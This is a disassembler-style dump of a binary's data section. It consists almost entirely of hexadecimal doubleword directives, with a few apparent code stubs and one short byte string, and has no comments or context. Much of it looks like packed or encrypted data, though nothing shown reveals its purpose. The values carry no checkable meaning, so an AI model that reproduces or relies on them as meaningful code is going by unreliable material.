dd 0FD5F7C17h, 6E6BB50h, 0B9DE7E9Bh, 0CECF5D1Dh, 4CB6A837h
dd 5A2F8276h, 3411EDA9h, 0A386D25Dh, 668C36A1h, 0AE8D0CCCh
dd 0B14B1717h, 13E6D3DDh, 0D5D47693h, 0B941DB78h, 4445DD05h
dd 4445E106h, 8CB14404h, 970F2A08h, 0E722D773h, 0AED4058Ch
dd 0ADBF67BFh, 0E540EA0Fh, 0E3E3F7CEh, 0A51DBFACh, 0E3B92180h
dd 0DF47BFACh, 0A2284B2Ah, 7ABFACF3h, 3D58C725h, 0CCE98F9Dh
dd 61600A2Ch, 0C8CA6F2Fh, 0C88809A9h, 1571423Dh, 78791D3Bh
dd 0C2DD7838h, 0B5A9C043h, 0C6DC0C55h, 66EAFDE0h, 1D91B4A6h
dd 135352F8h, 1F5150F2h, 0D206AA5Fh, 4B6E4A4Eh, 4F6E2EAFh
dd 542EF016h, 0D87D3D06h, 0BA2ACAF9h, 0FF279FB3h, 82329663h
dd 26C2E19Dh, 27595806h, 4F076667h, 0F683B931h, 3E91B492h
dd 89B29513h, 3C655974h, 846527A6h, 8D80D5D2h, 381742Ch
dd 0DCFCB693h, 6D884732h, 0D56B7F56h, 2D958D80h, 1BBFDA58h
dd 4D4E6B09h, 6AEF6C55h, 9213D33Ah, 8313B3D0h, 46DC9794h
dd 0A1F7EE63h, 0EA000010h, 793F2DD1h, 9AFBD5Dh, 9BD94BEBh
dd 294FDD81h, 0EEFE6C0Ah, 8AED58Eh, 0A43E641Ah, 31D1F0B6h
dd 0C2688D23h, 0BC170E50h, 0A1A92A2Ah, 622F84D4h, 0B8E5B4C3h
dd 0F653983Ah, 0A1E4CB9Fh, 0F88D35A7h, 0DC791D3Ah, 7E067A05h
dd 0C5559B2Bh, 1B116F00h, 2333C686h, 0C3C2688Dh, 0EA88AEE4h
dd 0E5F5CCEBh, 13A7A161h, 9C16E3A3h, 92D0D179h, 90D2D377h
dd 0EF16D476h, 64395253h, 4A491B80h, 168928F2h, 458BAA6Eh
dd 7A3C684h, 0F595B072h, 0A80B2667h, 0A7A1263Eh, 6EAD58D8h
dd 0B49AF9BCh, 1A525h, 0E005BE00h, 0DEFBBB3Ah, 5A721E3Eh
dd 1036F4B4h, 71317372h, 0FAD8BCE3h, 91C5445Fh, 6FD7ADA4h
dd 90470F6Eh, 698FA1A2h, 698ECCCDh, 0C754CCCDh, 0D70EB865h
dd 90B1D9B8h, 0D74FA1A2h, 5455ED15h, 0C82C6114h, 98936C1Eh
dd 0CAA5C0AEh, 0A1A2989Ch, 5CFBA7Ah, 31h, 3010749Eh, 96B37313h
dd 0A491903Fh, 0DF06BCADh, 42024243h, 42CD6443h, 0BCFB16D5h
dd 84CE4134h, 0B8A1A227h, 35E1011Bh, 0AEAE97F8h, 0E8h
dd 3AE00535h, 3ADCFBBBh, 0DDDEFBBBh, 0CCBD7B87h, 25E500h
dd 0C2C36782h, 0C7C66880h, 0B130C585h, 5CFE189Ah, 20BA1B5Dh
dd 8CF2C85Ah, 4164DEABh, 1ADA7C9Bh, 8A484908h, 7B9EA7A1h
dd 3A5E4DDFh, 0EAE6F95Ch, 7DADA73Ah, 2EB0EAA2h, 897CF893h
dd 63BE9B1Bh, 0DB7D6D44h, 1B9BA1A4h, 1F9E3C59h, 0ED0AA85Dh
dd 7EA5DB49h, 8969C8D8h, 3BB622C0h, 0F0320h, 0CF6F8800h
dd 5FFB1F5Dh, 0ED89AFCDh, 7F1F397Fh, 0EA8CFEDh, 6BF0081Ch
dd 0FAB8AA4Ch, 96D446DCh, 2341D36Fh, 0ACF66406h, 2C481E71h
dd 0E6B6A1A9h, 13C3628Dh, 0A6655D41h, 7F7E183Ch, 2A887D3Dh
dd 73960C0Dh, 0F796D6D7h, 0A7A1AEE3h, 0C2E7A51Dh, 27E79918h
dd 0A8527735h, 4B1F768Dh, 0B5A7A1AEh, 0AE410968h, 7BFA7A1h
dd 0D783E247h, 21A7A1AEh, 17E8471h, 1F3AE005h, 0D9CEA344h
dd 0E19434BFh, 1A9CC8Eh, 92385D13h, 8A662213h, 88C8C96Dh
dd 2F126DC8h, 0A9ADA46Ah, 0FD1E7BE9h, 3B000007h, 74D5851Ch
dd 7323A1A2h, 0DE051586h, 0AC26B938h, 15A7A180h, 0D1B09571h
dd 0ADAA242Ah, 0A04A6CD6h, 132E45E0h, 0D2D37793h, 23E7F392h
dd 0A111A1A9h, 9F3B5ED4h, 20CAEF8Dh, 20C6EDA1h, 0C3D1BBB0h
dd 8E894822h, 0E1Ch, 0BAA85671h, 2A38E204h, 44D67094h
dd 0CA580626h, 65F78FB4h, 33500911h, 0C3E38193h, 567F3D2Fh
dd 0ED08AEBCh, 9885DF4Dh, 0A92D5139h, 0A41FAFA1h, 1D38DE05h
dd 76F3F242h, 0C5B02037h, 7F451C39h, 869EC548h, 0A3F6BEA2h
dd 5C273302h, 0ABF015A9h, 116CC898h, 3BBA7A27h, 99BC5E7Bh
dd 0E08068C6h, 542139BCh, 0F24A491Dh, 0A5802A4Fh, 0AD2CCAE9h
dd 0C9F41EEBh, 0B49B2C1Dh, 1486h, 66261D00h, 7DA7A18Bh
dd 0A0B343C9h, 7CE5A58Dh, 0FFFFFD8Eh, 0D6C36207h, 0D1ED9EF3h
dd 86CC4732h, 3FA7A142h, 0E0489E5Bh, 0C7E33E70h, 8F072207h
dd 8ACACB67h, 3E5CE62Bh, 0C0B500ACh, 0AA7FB241h, 43E65EADh
dd 3822443h, 4299B441h, 5842640h, 0D9FCB643h, 72731733h
dd 3CD77232h, 71D54F1Fh, 0B75F2A90h, 1336D4F1h, 0F6058E70h
dd 0B346A7C1h, 7C991530h, 6C8B2BDEh, 60B36D2Bh, 6527A648h
dd 15167044h, 33F04555h, 423F22C3h, 0D0F5Bh, 0BB638400h
dd 4BEF0BA9h, 0D97D9BD9h, 6B13354Bh, 0FA9CBBF9h, 67FC1C68h
dd 0F6B4A640h, 822032D0h, 1F5DCF63h, 0B0C250FAh, 2E5C0A65h
dd 12BAA1A9h, 3206299h, 68BB4263h, 0FF90DA85h, 0ED8DA80Ah
dd 0EF8BAEECh, 8E30484Ah, 0F5AAF8FBh, 0B0D7CF17h, 0A6C36316h
dd 7B2F1604h, 0E4B49B3Ch, 0Dh, 8B6626FFh, 859CA7A1h, 0FFFFFCA6h
dd 321074C8h, 9DBAF817h, 0CDB8F8F9h, 0A49F8B52h, 0D4D54DADh
dd 0A29F3AB5h, 0D5C904A1h, 56F017ADh, 4AA2E396h, 9884EE98h
dd 1D657AEh, 70320000h, 7232B353h, 9C261687h, 77A7A180h
dd 3B0C2E68h, 30A28181h, 3291F6D7h, 0B3F35616h, 0B1F3F294h
dd 0AACF73C4h, 395C1200h, 8D711091h, 0CA7A17Bh, 7228D6Fh
dd 0C5C2F163h, 8DA8EAEBh, 1C397FEDh, 0A61C7F7Eh, 0FAA7A17Ah
dd 0E03FC725h, 0A17CD981h, 8A7F27A7h, 9AA7A357h, 1761CB4h
dd 26F90000h, 4B46BFC2h, 0A411E43Ch, 1C38E005h, 7B3BBA7Ah
dd 79AEBC5Eh, 0C9E4411Dh, 0A180E0F6h, 0D3A61EA7h, 91DA5D34h
dd 0DC77ADA4h, 62FC1248h, 2FCFE91Ah, 5B2EEEAEh, 694C4DF5h
dd 0CD0A0AD6h, 0C4AC0DA5h, 45DCA901h, 0A1A29A09h, 74BE9E35h
dd 71701E3Eh, 0E3974A3Fh, 5CAE9889h, 48h, 0FEC36267h, 0DB83A5C3h
dd 0E1EE58FAh, 0CFABEF14h, 3EB44F6Ah, 100CA654h, 335204E5h
dd 0F4ACA7A1h, 33687E51h, 2E96A7A1h, 8E25BC5Bh, 0AAADA422h
dd 6E2ED0E8h, 44460C6Fh, 0A57AA1A2h, 0DBF3A747h, 0B46CAE97h
dd 77000000h, 0BB3AE005h, 1938DCFBh, 78387879h, 0BB2F86DDh
dd 45A7A180h, 154928DDh, 0B4B4AF0h, 56E94CEEh, 66C75E61h
dd 259EEE12h, 5669CE2h, 6BA2B045h, 4C6A0A2Bh, 0B5F7F6B6h
dd 6FE841C0h, 0FB1EA7A1h, 0BADECD5Fh, 1E4579DCh, 7F568D78h
dd 0ADA62171h, 18BAD8DAh, 0BE12E799h, 4647DF04h, 0A3E34606h
dd 5570E284h, 0EF9A3859h, 71943057h, 0B69909C9h, 4522C1EBh
dd 0AF6958Ch, 7C9F0000h, 82240D2h, 96B2F062h, 2C4C62F0h
dd 0B5D29082h, 0E33B0311h, 0AFBD597Eh, 0DB49E909h, 74E67CA5h
dd 0E5771336h, 776342DBh, 81A1A930h, 0DE0582F9h, 71942A38h
dd 621C5BC9h, 62630320h, 807A6C47h, 1C84A7A1h, 0F015A95Ch
dd 0EE0B4B4Ah, 39C3DE4Ch, 8A000004h, 0FE9A040Bh, 66AA0520h
dd 80ADAA24h, 86020F10h, 0DEF28DA8h, 4332821Ah, 4867A257h
dd 8104522Dh, 0D8BBA1A9h, 0A1A9818Eh, 7C24C848h, 85BB1689h
dd 5DC5ABACh, 79BBAF8h, 84174322h, 31E1ABAAh, 4A2D44h
dd 3CABAA84h, 267D8567h, 0AA841B4Fh, 163FE5ABh, 7B3B7D7Ch
dd 9F9F4B8Eh, 8318A890h, 0A3000003h, 2D5BC362h, 6A19FE5h
dd 0F38646E4h, 0A1835A10h, 8324B1A7h, 1773A7A1h, 0F9471E3Bh
dd 0A4E47FC7h, 0F78BAB69h, 4C3B6F6h, 0A4AE22ADh, 4E5EC6ADh
dd 22BE7E0Bh, 17E5918h, 8A00000Ah, 195FCD71h, 0A9CF5DFDh
dd 3B79EB8Bh, 0C9EF7D21h, 0E1E0CAAh, 0A84E75EEh, 44DE04BAh
dd 0D17190D6h, 62082D43h, 1C77AEF0h, 0A1A9314Ah, 58FE4B4h
dd 9CBB3AE0h, 64650126h, 80786E41h, 1E86A7A1h, 1E7AAB5Eh
dd 0F7CEE540h, 0A7A180E3h, 35D0A51Dh, 0AA24535Ah, 968B5ADh
dd 0A1A92441h, 0D54707BFh, 725A2E6h, 0B6A90D9Fh, 52F410D2h
dd 0F4511153h, 0A2598E9Dh, 0EF4ACAABh, 3E7D1654h, 9B6E6559h
dd 8220467Ch, 0DBF9B590h, 0FFABA3Bh, 0B05EE694h, 88454FABh
dd 9295D73Fh, 0EE15D773h, 0E49A8848h, 650126BEh, 0AE012464h
dd 0ABB02038h, 1F9E5EC6h, 0B5903A5Fh, 2053079Eh, 0F5ADABB0h
dd 484A6100h, 48088929h, 361470BDh, 2DD5B013h, 0BF67A1B5h
dd 0CFDB742Fh, 0D7CE832Eh, 924h, 0B2A04E69h, 2230DAFCh
dd 5CCE688Ch, 0C250FE1Eh, 7DEF87ACh, 2B481169h, 0BBDB998Bh
dd 4E773527h, 0E500A6B4h, 908DD745h, 0A932A931h, 0AC0757A1h
dd 0B8BFC362h, 187903B9h, 6E4A06Dh, 0CF554023h, 0FFA7ADAAh
dd 983A585Ah, 34CEF48Ah, 0FC1C96B5h, 64115352h, 5AFFDBBFh
dd 0A3AB307Bh, 0EFC61DABh, 0ABB3B3FBh, 64E89D05h, 8C083DBCh
dd 0EB0B8BAEh, 33165657h, 0B3B30650h, 0B540F0ABh, 0A698079Eh
dd 3CE4A1B6h, 0D07501ACh, 48530E2Eh, 894h, 2230DEF9h, 52C06A8Ch
dd 0CC5EF81Ch, 72E08EAEh, 0ED7F173Ch, 0BBD88199h, 4B6B091Bh
dd 0DE07A5B7h, 7590D644h, 0E03D47D5h, 0A932D981h, 1C9727A1h
dd 8FDBE005h, 304FB9E0h, 0EE81A464h, 0B7566742h, 0EA85708Ah
dd 0ECED8DA8h, 0EAEB87AEh, 0EDEC8EA8h, 2ECCE9ABh, 5BB1C6AFh
dd 56D36E17h, 0D4944DDBh, 63AB8106h, 60610523h, 0DA1B8120h
dd 0A088BBA1h, 9C3C59D5h, 91D3D27Ch, 9312B4D3h, 120311D1h
dd 0B49B7868h, 151D1h, 0E005EA00h, 0DEFBBB3Ah, 9DF92E3Ch
dd 0B64964C1h, 0F94903AFh, 0EAFCD7C2h, 14A7A151h, 8619ECACh
dd 0ADA44007h, 993D5A58h, 3FAD5818h, 0FBBB6385h, 61D39BFAh
dd 30EFA1A2h, 719012D4h, 45F124D1h, 0BEAE97C2h, 29h, 62C362C5h
dd 16EAEAA0h, 1D79AA5Fh, 0E68DE441h, 2ADA4CCh, 7A701392h
dd 46A1A2EEh, 0C773B389h, 30AE9831h, 0A8h, 120624Bh, 55206061h
dd 3B1EBCD9h, 0B1585D7Bh, 10AC6BF0h, 20606121h, 3B581A55h
dd 3D581A9Bh, 66391C9Dh, 95EC4230h, 0A7A1AAC5h, 0F3228333h
dd 9529DC7Ch, 0BDB22B70h, 0BE57094Ah, 0A46D6CFEh, 0E2A7A188h
dd 23123C7h, 328DA886h, 0ADA71FBEh, 0E9537E11h, 20301B3Dh
dd 0EA4FF755h, 79EB8BA8h, 6A7A1C3Bh, 22C0B24Dh, 2D3C27DAh
dd 66000007h, 0F58B9945h, 853B29D1h, 1755C75Fh, 0A5DB49F5h
dd 624AD87Eh, 8422411Ah, 10B2D096h, 0AD456C02h, 3EDCF9BFh
dd 288B922Ch, 0A1A934BEh, 5BB3058h, 942A38DEh, 1C5BC971h
dd 1F3AE005h, 80F9E1C0h, 9F07A7A1h, 6B1EB4DDh, 0BF162D08h
dd 0A7A1802Bh, 0AF4B6FD5h, 0DBAE6E2Eh, 0B99C3E5Bh, 58C960E6h
dd 0E5C4D0EFh, 43C2D3BEh, 0F519EC7Dh, 53ECh, 0D30BF700h
dd 0D4714D49h, 80B026B9h
dd 0D64EA7A1h, 808DE423h, 0A9ADAA24h, 0AA2BD3F5h, 9891FEAh
dd 0C3740F16h, 40DBD9DBh, 3ECFAD5h, 0AA6AA1A9h, 4A91FEAh
dd 520FE9Ah, 0A2A760AAh, 11E86ABh, 0DC7E981Ah, 4D3A9BDDh
dd 7B488373h, 4741986Dh, 4000000h, 17321074h, 0A4B3FDBCh
dd 82A71FADh, 0B441E100h, 43115A3Dh, 0A1F2A1A2h, 17F1954Bh
dd 0AD8848F2h, 0A79053D2h, 92B6ECABh, 0C6B3F5F4h, 4540D242h
dd 8F30F5AAh, 0A75BA234h, 0C5E45CABh, 0C2B76112h, 0BD3Bh
dd 10744200h, 0BAF81732h, 0C686079Bh, 245D5033h, 5BFADAAh
dd 0E27939E1h, 0A3403BD2h, 0FBED9949h, 4343AE92h, 4E0E8F23h
dd 7C89BBh, 62120000h, 61600220h, 0EDA95A2Fh, 46193411h
dd 5C31AC37h, 39A1002Dh, 0C7A7A10Fh, 863E9F5Fh, 47DA6A64h
dd 0D5DBBA4Fh, 37ADAA60h, 2D0BAA8Fh, 67E08327h, 0D9EB7005h
dd 83227B34h, 0D8E5BCDBh, 0F443162h, 6E49FD2Dh, 2FB2AE93h
dd 0C9000000h, 17321074h, 0AA2477BCh, 3A2191ADh, 0E789A3E3h
dd 656424BEh, 247B6F46h, 1D85A1A9h, 7104A85Dh, 6383993Eh
dd 0AE92FFB7h, 1520h, 2062BB00h, 3D946101h, 0A7A19A19h
dd 9353F311h, 0FFFEFF8Ah, 1074D1FFh, 7A9F1732h, 0EA9FD1D0h
dd 7692102Fh, 5EF412D0h, 0E9681D5Fh, 0ADAA258Ah, 280F8E36h
dd 2524B20Dh, 62D2A1A9h, 4C2A6E97h, 276356E9h, 0DA3A51FDh
dd 9591F02Fh, 0F3ABA205h, 15714243h, 22451C39h, 69CC537h
dd 0EDE4C587h, 942E540Ah, 0E6935315h, 0ADAD482Bh, 8C06A1BAh
dd 5137C26Ch, 752944E1h, 7537B64Ch, 62082280h, 0EBC7C3F0h
dd 808774Eh, 0CB4BFB3h, 71901229h, 4D1D74D1h, 8BBF8052h
dd 9DC47E0Bh, 0F287BAE4h, 33F30A6Eh, 4DE5A021h, 0FC1927E9h
dd 1C9D355Ch, 0E88E9C5Ch, 3A00CCCDh, 1EF05554h, 2A6E5F5Eh
dd 0F3D2E94Ch, 17E914E7h, 0C5E3A111h, 15E0A021h, 3D1CE7FEh
dd 0F8B81DECh, 6DCFECF9h, 1103A7C2h, 11903253h, 0AA689B3Ah
dd 571E7E5Ch, 0A5E600A2h, 739DF097h, 0F9F8B89Fh, 9658BC1Fh
dd 0AB5EF81Ch, 0DA48EA0Bh, 0E4E57DA4h, 31CC07A8h, 742FBB1Ah
dd 692911EAh, 0BA65C79Ch, 46DC059Bh, 0D7450547h, 0EEF8DBF6h
dd 6811EA75h, 7458DDA8h, 0FDB1300Eh, 6A7C57D8h, 94A7A180h
dd 80607649h, 269EA7A1h, 8E27A666h, 0B7DD13E9h, 0A2F4DDFh
dd 25C9FB60h, 0D178DC61h, 750916B4h, 4928A951h, 0A7A18001h
dd 0DE41DBF8h, 6E0C1EBCh, 148EAB47h, 6C4B4AF4h, 0A1804515h
dd 4303B3A7h, 9A183FB6h, 325E77Bh, 0BC37AE5Bh, 0AAA7A180h
dd 0B0CF17F5h, 0A18089D1h, 0FA86BAA7h, 9F9E0A7Ah, 842241F3h
dd 547D31C4h, 0E12DACBEh, 2BA7A110h, 9AF76916h, 0FF79DCB4h
dd 62E7FFFFh, 0E354AC47h, 34985FD8h, 0A1DC0555h, 0B643F3A7h
dd 2331D9FCh, 0BE23688Dh, 28F14628h, 294DD696h, 0CBCB6E0Ch
dd 0CB8D0CAEh, 7999DD3Eh, 5A1ABCDBh, 8EFBF85Bh, 9E0F1571h
dd 9F1EB8DCh, 55B1D9B8h, 0D74FA7A1h, 0F9A68605h, 5FC25AF9h
dd 8C8F903Ah, 0B49ACADAh, 279FBF56h, 0EBD63649h, 30D61Eh
dd 0F3B30000h, 0D14A3FD3h, 17321074h, 0D0D17D9Fh, 572EE590h
dd 0ADAA245Fh, 5262F9B9h, 64C063BCh, 57F2D0B4h, 0A280367Ch
dd 7FE050ABh, 5F18h, 10746300h, 76BC1732h, 90ADAA24h, 0C5E03B20h
dd 2483D7AEh, 0C57DA1A9h, 0A924B224h, 3CAA05A1h, 0DAA1A924h
dd 7B0EB65Ah, 0D1F11EB5h, 0D5F2B031h, 3A95B031h, 0A1A924ACh
dd 7203EAAAh, 2D62359Ah, 0CDE807CFh, 0A924E4F2h, 0C3A212A1h
dd 0A1A92497h, 1FC4B161h, 0DBBA9F7Bh, 0ABA280D3h, 0D5928D35h
dd 0BB3AE005h, 2E3CDEFBh, 1A209DF9h, 47E701F1h, 39EDE066h
dd 42C5DC79h, 56ADA447h, 0CAC8EFEEh, 8763EBB0h, 0F14FA3Dh
dd 0CF678D4Fh, 18FB8ECEh, 0A1A23F52h, 8B5BB16Eh, 0AE97E4DFh
dd 3758h, 10746300h, 0B47C1732h, 3046D877h, 0D4AF6A1Fh
dd 0ADA48DB9h, 0BBDADB5Bh, 0A1A2AD33h, 2AF4500Fh, 0AE987280h
dd 0D7F9h, 0C6E6DC00h, 31069918h, 0C55DB789h, 76E79252h
dd 1C38E005h, 7B3BBA7Ah, 7B3BBA5Ch, 793DBC5Eh, 69ACBE5Ch
dd 6840D0D6h, 9E6B5EF2h, 0A1601A07h, 8D2D48A7h, 1EBCD99Fh
dd 0CEAAE9Fh, 27B31229h, 0D1A7A16Ah, 66799461h, 0ADA44EFFh
dd 9C477819h, 0BC3003Dh, 174948EAh, 96859757h, 1A3114F2h
dd 28DD7D98h, 0A30035A9h, 0F653C3ABh, 62EEF8DBh, 4968ABA8h
dd 0BD7620D2h, 877232C8h, 892D4A48h, 18BEE59Bh, 0C4B9F988h
dd 504B0628h, 1E0h, 7EEC92B5h, 0EE7C1E38h, 180AACC8h, 8E9C425Ah
dd 392BCBE8h, 6F94CD2Dh, 0FF2745D7h, 92B3F163h, 294C62F0h
dd 54C19381h, 0A9396D7Dh, 0E8C3EBA1h, 1D38DE05h, 21E383A1h
dd 22626303h, 0CCE98F57h, 0A5193C2Eh, 0A912E77Fh, 17321074h
dd 0A49111BCh, 28333ADh, 0A2926B63h, 5CB857A1h, 988DD882h
dd 11741AEh, 0E9040000h, 0A29EC096h, 0F3863EA1h, 420620Ah
dd 54216362h, 3A1FBBDEh, 39B85A78h, 0B3F3F287h, 0D4F3F294h
dd 0DF81253Dh, 643A1412h, 0B0789CFEh, 99780DCDh, 0A7A18EB8h
dd 3CECBEEh, 33424D81h, 677352F7h, 91A7A1F8h, 0BDF36121h
dd 0C2F3F298h, 0A4328DC6h, 52A7A1F8h, 0AC0722E2h, 0ADA4DCB5h
dd 0DA84A41Eh, 0F5E5FCDBh, 3A1A21Ch, 0A226D393h, 1CAA3C97h
dd 0EC54A1A2h, 7195092Ch, 0E1D63CC9h, 516CC9A5h, 850C5BBEh
dd 3D18D503h, 0A2E734A2h, 0A752C2A1h, 0A4490D2Ch, 0D2772FABh
dd 3DD9FFB7h, 0C9BC567Fh, 0BAA84E75h, 0F620C063h, 14B11024h
dd 8524F8DFh, 7C5D49Ch, 0FDB144DEh, 1BA030D6h, 0E828C495h
dd 0B26E69h, 0C0DB0000h, 4C6E0C1Eh, 0DAFEBCAEh, 70882E3Ch
dd 0F91E5CCEh, 9FFFCF5Dh, 6BF99DBAh, 87952D55h, 3022C0E1h
dd 0A1B35772h, 3BAF061Fh, 0C5A1A93Ah, 0DE053EB5h, 0B3F32A38h
dd 0AF07F294h, 0AA45E08Ah, 7B5A0B4Ah, 0A7A1896Fh, 258829E9h
dd 5BAB5ED3h, 3AE0051Ch, 59DEFBBBh, 0A1801046h, 7636EEA7h
dd 7A3C6E4h, 3AAC0722h, 0C4A7A180h, 0DA789E5Ch, 84A1C72Fh
dd 384E7E6h, 0DAEEF726h, 0A71F2705h, 962CD985h, 2745D773h
dd 0A6FD5802h, 0F4259BCFh, 98BD65E0h, 0F4255139h, 2F7AFE0h
dd 65092363h, 926A0F64h, 0F2600A2Fh, 0F0F199BCh, 3E9h
dd 1A61EC00h, 0BD3CE205h, 0BF3EDCF9h, 0BD3CD6FFh, 0B839D9F9h
dd 2 dup(0B839DDFAh), 0BD3CE2FAh, 0BA3BDBF9h, 0BD3CDEF8h
dd 0E68956FAh, 4C681h, 0EE830000h, 24348704h, 5724248Bh
dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 89512434h, 4C181E1h
dd 83000000h, 0C8704E9h, 2C895C24h, 89BD5524h, 81608D7Dh
dd 85D805F5h, 4815566h, 40673924h, 0EE815E55h, 55406739h
dd 4EC815Dh, 89000000h, 4812424h, 424h, 53565D00h, 231C44BBh
dd 245C011Eh, 458F5B04h, 86D8108h, 1E231C44h, 5D2434FFh
dd 8B04C483h, 89572434h, 4C781E7h, 83000000h, 3C8704C7h
dd 0DE95C24h, 0A4FFFB86h, 0E2BBD0DFh, 0F11B9F04h, 0B5B83540h
dd 30608BBh, 23E0FFC5h, 0B20D2F23h, 0E060170h, 7F1E9101h
dd 715F39DCh, 323DC927h, 0D66134DEh, 0DA3FD159h, 3448D921h
dd 5CE4B3h, 36694355h, 9D76F00Fh, 0E41D3C86h, 0D939DA14h
dd 725E0BBCh, 151AEA56h, 341D225Ah, 0B53CF96Ch, 477A4E0h
dd 5842383Ch, 982D209Dh, 0A76D9DD9h, 0E95FE7A6h, 98h, 94h
dd 5, 1, 0A28h, 2, 20h dup(0)
a_moqs db '.MŽqéÖ',0Bh,0
dd 0BEF06800h, 0FEE90608h, 68FFFABFh, 608BFFEh, 0FABFF4E9h
dd 0C12068FFh, 0EAE90608h, 68FFFABFh, 608C194h, 0FABFE0E9h
dd 0C2F068FFh, 0D6E90608h, 68FFFABFh, 608C364h, 0FABFCCE9h
dd 0C65A68FFh, 0C2E90608h, 68FFFABFh, 608C791h, 0FABFB8E9h
dd 0F3F487FFh, 466B089Dh, 0D0D9BF02h, 0A04529BCh, 33B8592Ch
dd 7228D75Dh, 0ED70149Dh, 11E4E80Dh, 876A7E83h, 0F899CFF0h
dd 33F16ABEh, 0BD4F7106h, 0A2432A3Eh, 0F7B0472Ah, 9EFB5322h
dd 0CC54BDCAh, 48F69A61h, 0A121BA8Eh, 0C89F770Eh, 3AB8C36Ch
dd 0B0F6AC7Ch, 32D37511h, 0C5DC5861h, 18875816h, 1FB890E5h
dd 9D710B50h, 86CAA9CEh, 5FE7877Dh, 710B7CC2h, 0AA8ED24Eh
dd 9369DA92h, 3B4Dh, 85F0EE00h, 0F0FB94B4h, 9A41770Eh
dd 25D7730Fh, 9B7511FFh, 4B1A9CCCh, 1F4A02A3h, 0E00C89A1h
dd 5E18710Bh, 5C4B3DBDh, 1077A4D4h, 0BAFE7A7Fh, 0BB7A8296h
dd 0CB759369h, 86000000h, 2AA2432Ah, 0F3F8996Ch, 7A7F1075h
dd 0C7E88F12h, 50553885h, 0F478EC3Ch, 13FA770Eh, 846BFE92h
dd 0D1A64763h, 8D25A028h, 0EEC24BDh, 77CD9877h, 4D255017h
dd 6A0E36BDh, 31460345h, 7D11884Eh, 0EE751078h, 0EAAD6703h
dd 0A1BDAD74h, 9EAE0A92h, 75117A14h, 7E095F0Ah, 4DDD9513h
dd 6F09023Fh, 0FD902EBDh, 5E189419h, 83C1EA8Fh, 0A783593Eh
dd 7708C12Eh, 0D7B136DEh, 79C493B2h, 0D6B0FC46h, 0D00DDDE6h
dd 98Bh, 0D2B637DAh, 4705AE4Fh, 0F1971CF2h, 6167886Ch
dd 92F6FB9Ch, 0E0B1E510h, 5020B5DBh, 0C65439AFh, 33DAAF3Dh
dd 387DEB2h, 632AE27h, 81621271h, 87835E01h, 0F620FBE0h
dd 7982177Ah, 0CEEF866Bh, 85F0D99Ah, 0D9BA4B67h, 29A34428h
dd 1580D1BCh, 0DF19962Eh, 0D08AC4A0h, 2C25CD0Fh, 49274784h
dd 113FCF61h, 0CE9E4D75h, 21BA8E48h, 9F710B1Fh, 0BF5C6CC8h
dd 4D710B1Fh, 3FE083D7h, 0D7BE85EDh, 6A3F81D6h, 0ADB7FC78h
dd 0AA9369F0h, 0B7h, 0A2432AD5h, 9B2472Ah, 0B1FD95Fh, 770EF092h
dd 0ADFD7BEEh, 770EF439h, 961BFD90h, 1FA0771Ah, 0EC11E449h
dd 555E33D2h, 0B2DA5633h, 526C8AF5h, 11FD6CF6h, 6B07D275h
dd 1E198DA8h, 53294086h, 53DE813Fh, 88012961h, 0F4710B16h
dd 50F45061h, 4EC7631Fh, 0B2710BA5h, 93FE4927h, 0D0CD5D15h
dd 2C6F0940h, 8B6C01B9h, 94F4FD9Eh, 93666AF1h, 9ABAF5FEh
dd 67E6D679h, 87D4A87h, 45D40000h, 0BC592CA0h, 2ACC5137h
dd 967EC381h, 9EE7311h, 0D706ECE0h, 87C5EE83h, 0B595E32h
dd 0B92FD4A6h, 28BC41D4h, 0A0391189h, 1C710631h, 452A8F6Ch
dd 0B24528BCh, 2A245F0Dh, 0DB25A43h, 29A30E5Bh, 26F4B144h
dd 0CB9ECB9Dh, 51378223h, 354D6B16h, 79D3815h, 0C5A90475h
dd 33C5A820h, 1A54238Eh, 13FBA44Bh, 6A62836Ah, 4705907Fh
dd 6358EB7h, 4FDB9571h, 710634D6h, 3464FD4Dh, 0DD87106h
dd 5EE94712h, 89D0B434h, 5425C8B1h, 1B66D1AFh, 8F45E59Dh
dd 0D6F094Dh, 4B09235Eh, 4E07BBCFh, 0B6D5DEBFh, 0DE8BDDE2h
dd 0CAAD562h, 0A4F0D672h, 484EE14Eh, 4EA467E0h, 1CFED5E1h
dd 590F597h, 0EE992EBEh, 8AE5B6F0h, 42C1E702h, 0EE757A12h
dd 0A3F45412h, 19DF4CA4h, 0D2633472h, 7539534Fh, 0EEA8E642h
dd 0E87B1434h, 0E2C1E348h, 0E0E5E70Ch, 54CD5D15h, 0A8E348E8h
dd 4B22473Dh, 99790CAAh, 4AF49814h, 0AA1CD7BBh, 0DF970BB9h
dd 4A1F49D4h, 0F3F49BEEh, 165FA6B0h, 4E836B75h, 75Bh, 246670Ah
dd 0B7D5DEBFh, 21A74C22h, 5137B85Ch, 0C2862BCCh, 10E1B560h
dd 8010E5EBh, 0F684697Fh, 630A9FCDh, 33770E42h, 62F7E17h
dd 0B132C271h, 4B6785F0h, 79D22FFh, 2F4B1E75h, 7A34BD5Eh
dd 0EEFD06EBh, 0E3E6E607h, 0FF9C6105h, 81BBCFAh, 6DA76967h
dd 52C4A400h, 2E86C381h, 8FC29D6Bh, 0C287C1EAh, 4B6C0366h
dd 0D8C13428h, 0CC01E9E0h, 6E7h, 0B6DADBBEh, 3BA95223h
dd 553BC056h, 0C58B2CC0h, 761A9F70h, 841541FCh, 0F484697Fh
dd 6A089DF3h, 0D7BE0341h, 0A7E3B2D6h, 6300A83h, 25C67671h
dd 4B6785F0h, 79D22FFh, 0DFB31E75h, 20088EDEh, 710634A7h
dd 6CFB4615h, 23DCB352h, 0A421AB4Ch, 92FC8BD9h, 47F45412h
dd 0D2710634h, 0E1748001h, 0F470FB77h, 0DB31C4DDh, 215386B2h
dd 6CEA325Ah, 0BA7106C9h, 3E465286h, 65936527h, 9DCFF080h
dd 756E6CC8h, 89000000h, 67886C01h, 60688D60h, 56208F65h
dd 8B301856h, 8E770EF0h, 0F29A1BFFh, 0AD381997h, 89A15B15h
dd 770EF110h, 36AFF96Ch, 8A770EF0h, 0E10961DFh, 770EF064h
dd 94F4F99Ch, 9436809h, 9C3E6242h, 8C6235F5h, 1F82E5BAh
dd 276B4F25h, 0F8D0A144h, 0E13B750h, 0CB560577h, 713E466Dh
dd 1139996Ch, 0BA000000h, 1C95Ah, 0C6621C00h, 770EF04Dh
dd 0CB4824B3h, 0E5901AEEh, 38DAABC7h, 4800A94Bh, 0B3D6B61Dh
dd 0F9AF7B35h, 0B7751208h, 50A38520h, 5ED5A65Ah, 2DFDB533h
